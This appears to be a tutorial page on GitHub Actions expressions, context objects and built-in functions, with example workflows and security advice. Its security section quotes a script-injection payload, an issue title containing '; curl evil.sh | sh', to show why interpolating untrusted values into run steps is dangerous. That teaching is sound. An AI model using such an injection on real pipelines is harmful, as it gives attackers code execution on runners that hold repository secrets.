Skip to content

1.06 Expressions and Context Objects

Overview

Steps often need metadata about the run rather than hardcoded text. GitHub Actions exposes that metadata as context objects, read with the ${{ }} expression syntax.

Abstract

Anything inside ${{ }} is evaluated by GitHub rather than treated as literal text. The available data lives in reserved context objects — github (event, repository, ref, actor), runner (the machine), env, secrets, job, steps, needs, inputs, matrix, and others. Writing github in a command prints the word "github"; writing ${{ toJSON(github) }} prints the whole object, because toJSON is one of the expression syntax's built-in functions for converting data to printable text.

Why It Matters in Production

Expressions are what make a workflow react to its situation instead of restating it. Branch name, commit SHA, triggering event, actor, PR number, runner OS — all of it is already available, so it never needs to be duplicated in YAML or passed in by hand.

They are also the mechanism behind every conditional (if:), every dynamic tag on a built image, and every cache key. Getting comfortable reading the github context is the prerequisite for conditional jobs, matrix builds, and reusable workflows.

The flip side: expressions interpolate values into shell commands before the shell runs. That makes them the single most common injection vector in CI pipelines.

Key Concepts

Context objects

Context Contains
github Event payload, repository, ref, SHA, actor, workflow, run IDs
env Environment variables set at workflow, job, or step level
vars Organization/repository/environment configuration variables
job Current job's status and service container info
jobs Job results, in reusable workflows
steps Outputs and outcomes of previous steps in the same job (requires step id)
runner Runner OS, architecture, temp and tool-cache paths
secrets Secrets available to the workflow or environment
strategy / matrix Matrix configuration for the current job instance
needs Outputs and results of jobs listed in needs
inputs Inputs to a workflow_dispatch or reusable workflow call

Frequently used github fields

Field Value
github.repository owner/repo
github.repositoryUrl Git URL of the repository
github.ref Full ref, e.g. refs/heads/main
github.ref_name Short ref, e.g. main
github.sha Commit SHA that triggered the run
github.actor User who triggered the run
github.event_name The triggering event, e.g. push
github.event The full webhook payload for that event
github.workspace Path to the checked-out code on the runner
github.run_id / run_number / run_attempt Run identifiers

Built-in functions

Function Use
toJSON(value) Convert an object to a printable JSON string
fromJSON(string) Parse JSON into an object or array (useful for dynamic matrices)
contains(haystack, needle) Substring or array membership test
startsWith / endsWith String prefix/suffix tests
format('{0}-{1}', a, b) String interpolation
join(array, sep) Join array elements
hashFiles('**/package-lock.json') Hash of matching files — the standard cache key
success() / failure() / cancelled() / always() Status checks for if: conditions

Note

github, runner, secrets and the rest are reserved names, not arbitrary words — they only resolve inside ${{ }}. The official references are GitHub's contexts and expressions pages.

Common Use Cases

  • Conditional execution: if: github.ref == 'refs/heads/main'
  • Tagging a build with the commit SHA or run number
  • Cache keys from a lockfile hash: key: node-${{ hashFiles('**/package-lock.json') }}
  • Branching behavior on the trigger: if: github.event_name == 'workflow_dispatch'
  • Passing a matrix value into an action: node-version: ${{ matrix.node-version }}
  • Reading a previous job's output: ${{ needs.build.outputs.image-tag }}
  • Debugging an unfamiliar event payload by dumping toJSON(github.event)

Example Configuration or Commands

A manually triggered workflow that prints the whole GitHub context:

# .github/workflows/output.yml
name: Output information
on: workflow_dispatch
jobs:
  info:
    runs-on: ubuntu-latest
    steps:
      - name: Output GitHub context
        run: echo "${{ toJSON(github) }}"
jobs:
  info:
    runs-on: ubuntu-latest
    steps:
      - name: Output GitHub context
        run: echo "${{ toJSON(github) }}"
      - name: Output job context
        run: echo "${{ toJSON(job) }}"
      - name: Output runner context
        run: echo "${{ toJSON(runner) }}"
      - name: Output event payload only
        run: echo "${{ toJSON(github.event) }}"
- name: Print run metadata
  run: |
    echo "Repo:    ${{ github.repository }}"
    echo "Branch:  ${{ github.ref_name }}"
    echo "Commit:  ${{ github.sha }}"
    echo "Actor:   ${{ github.actor }}"
    echo "Event:   ${{ github.event_name }}"
    echo "OS:      ${{ runner.os }}"
jobs:
  deploy:
    # if: is already an expression context — ${{ }} is optional here
    if: github.ref == 'refs/heads/main' && github.event_name == 'push'
    runs-on: ubuntu-latest
    steps:
      - name: Notify on failure
        if: failure()
        run: echo "Pipeline failed on ${{ github.ref_name }}"
- uses: actions/cache@v4
  with:
    path: ~/.npm
    key: npm-${{ runner.os }}-${{ hashFiles('**/package-lock.json') }}

- name: Build image
  env:
    IMAGE_TAG: ${{ github.sha }}
  run: docker build -t myapp:"$IMAGE_TAG" .
- name: Get version
  id: version                                   # id is required to reference the step
  run: echo "value=1.2.3" >> "$GITHUB_OUTPUT"
- name: Use version
  run: echo "Version is ${{ steps.version.outputs.value }}"

Why toJSON is needed

${{ github }} tries to render an object where a string belongs and produces Object. The context is structured data, so printing it requires converting it to text first — that is exactly what toJSON does. Individual leaf values like ${{ github.sha }} are already strings and need no conversion.

Dumping the same information from the CLI, without committing a workflow:

# The payload a push event would deliver
gh api repos/OWNER/REPO/events --jq '.[0].payload | keys'

# Inspect the log of the context-dump run
gh run view --log | sed -n '1,60p'

Best Practices

Best Practices

  • Dump toJSON(github.event) once in a scratch workflow when writing a new filter — guessing payload field names wastes more time than one run.
  • Prefer github.ref_name over slicing github.ref by hand.
  • Use github.sha (not latest) for image tags and release artifacts so every build is traceable to a commit.
  • Use hashFiles() for cache keys rather than a static string, or the cache never invalidates.
  • Omit ${{ }} inside if: — it is already an expression context, and the braces just add noise.
  • Set values once in env: at job level instead of repeating the same expression in many steps.
  • Give steps an id when later steps need their outputs.

Security Best Practices

Security

  • Expressions are substituted into the command before the shell sees it. Any context value an outside contributor controls — github.event.issue.title, head_ref, PR body, commit message — is a script-injection vector:
    # DANGEROUS: a title of  "; curl evil.sh | sh  executes on the runner
    - run: echo "${{ github.event.issue.title }}"
    
    # SAFE: the value arrives as data in an environment variable
    - env:
        TITLE: ${{ github.event.issue.title }}
      run: echo "$TITLE"
    
  • Never print toJSON(secrets) or echo a secret. GitHub masks known secret values in logs, but masking is best-effort and fails on transformed values (base64, substrings).
  • toJSON(github) includes the full event payload, which on some events contains user-supplied content and repository details. Harmless on a private repo, but remove the debug step before merging — run logs are readable by anyone with repository read access.
  • Pass secrets through with:/env: on the specific step that needs them, not at workflow level where every step and action can read them.
  • Validate inputs.* from workflow_dispatch before using them; a choice input type constrains values far better than a free-text string.
  • Do not interpolate expressions into uses: to build an action reference dynamically — pin the action instead.

Do and Don't

✅ Do ❌ Don't
Wrap context access in ${{ }} Write github.sha as bare text in a command
Use toJSON() to print whole objects Expect ${{ github }} to render usefully
Pass untrusted context through env: Interpolate event data straight into run
Omit ${{ }} inside if: Nest expressions inside expressions
Use github.ref_name for the short branch name String-slice refs/heads/... manually
Remove context-dump steps before merging Leave toJSON(github) in a production pipeline
Reference secrets on the one step that needs them Echo secrets to verify they loaded

Common Mistakes

Common Mistakes

  • Forgetting the braces. run: echo github.sha prints the literal text.
  • Single quotes in shell swallow the expression's intent. Expressions are substituted before execution, so quote the result: echo "${{ github.ref_name }}".
  • Confusing ${{ }} with $. ${{ }} is evaluated by GitHub; $VAR is evaluated by the shell on the runner. They happen at different times.
  • Referencing a step without an id. steps.<id>.outputs only exists for steps that declare id:.
  • Expecting payload fields on the wrong event. github.event.pull_request is empty on a push or workflow_dispatch run.
  • Using env context too early. env.FOO is not available in the env: block that defines it, nor in runs-on.
  • Expressions where they aren't allowed. uses: must be a literal, and only certain keys accept expressions.

Breaks in production

A workflow triggered by issue_comment or pull_request_target that echoes a user-controlled context value gives an outside contributor shell execution on a runner that holds repository secrets. The workflow looks like a one-line debug step.

Troubleshooting

# Re-run with verbose logging to see evaluated expression values
# (set ACTIONS_STEP_DEBUG=true as a repository secret first)
gh run rerun <run-id> --debug

# Pull the log of the context-dump step
gh run view <run-id> --log | grep -A 40 "Output GitHub context"

# Check which keys the event payload actually carried
gh run view <run-id> --json displayTitle,event
Symptom Likely cause
Output is the literal text github.sha Missing ${{ }}
Output is Object or [object Object] Printing a context without toJSON()
"Unrecognized named-value: 'foo'" Not a valid context name — check spelling and availability
Expression empty on some runs That field doesn't exist for the triggering event
steps.x.outputs.y empty Step missing id:, or output not written to $GITHUB_OUTPUT
Cache always misses Static cache key — use hashFiles()
Secret prints as *** Expected: GitHub masks known secret values in logs

Tip

echo "${{ toJSON(github) }}" in a throwaway workflow_dispatch workflow is the fastest way to learn what is available. The output includes repository, repositoryUrl, ref, sha, actor, event_name, and the complete event payload — everything you'd otherwise look up.

Quick Recap

  • ${{ }} marks an expression; the content is evaluated by GitHub, not passed through as text.
  • Context objects carry run metadata: github, env, vars, job, steps, runner, secrets, needs, inputs, matrix.
  • github holds the event payload plus repository, ref, SHA, and actor information.
  • Context names are reserved words and only resolve inside an expression.
  • Objects must be converted to text to be printed — toJSON() does that.
  • Other built-in functions include fromJSON, contains, startsWith, format, hashFiles, and the status checks success(), failure(), always().
  • if: is already an expression context, so braces are optional there.
  • Never interpolate untrusted context values directly into shell commands.

Interview / Revision Notes

Quick revision

Q: What is the expression syntax? ${{ ... }} — the contents are evaluated by GitHub instead of treated as literal text.

Q: What is a context object? A collection of metadata GitHub makes available to jobs and steps — event, repository, runner, secrets, and so on.

Q: Name five context objects. github, env, runner, secrets, steps (also job, needs, inputs, matrix, vars).

Q: Why wrap github in toJSON()? It's structured data; toJSON converts it to printable text.

Q: Where does the event trigger information live? In the github context — github.event_name and the github.event payload.

Q: Do you need ${{ }} in an if: condition? No — if: is evaluated as an expression already.

Q: What's the standard way to build a cache key? hashFiles() over the lockfile, combined with runner.os.

Q: Why is run: echo "${{ github.event.issue.title }}" dangerous? The value is substituted before the shell runs, so attacker-controlled text becomes executable shell. Pass it via env: and quote the variable instead.

This topic can be expanded into sub-pages: full context reference per event, expression operators and functions, step and job outputs, environment variables and vars, dynamic matrices with fromJSON, and script-injection hardening.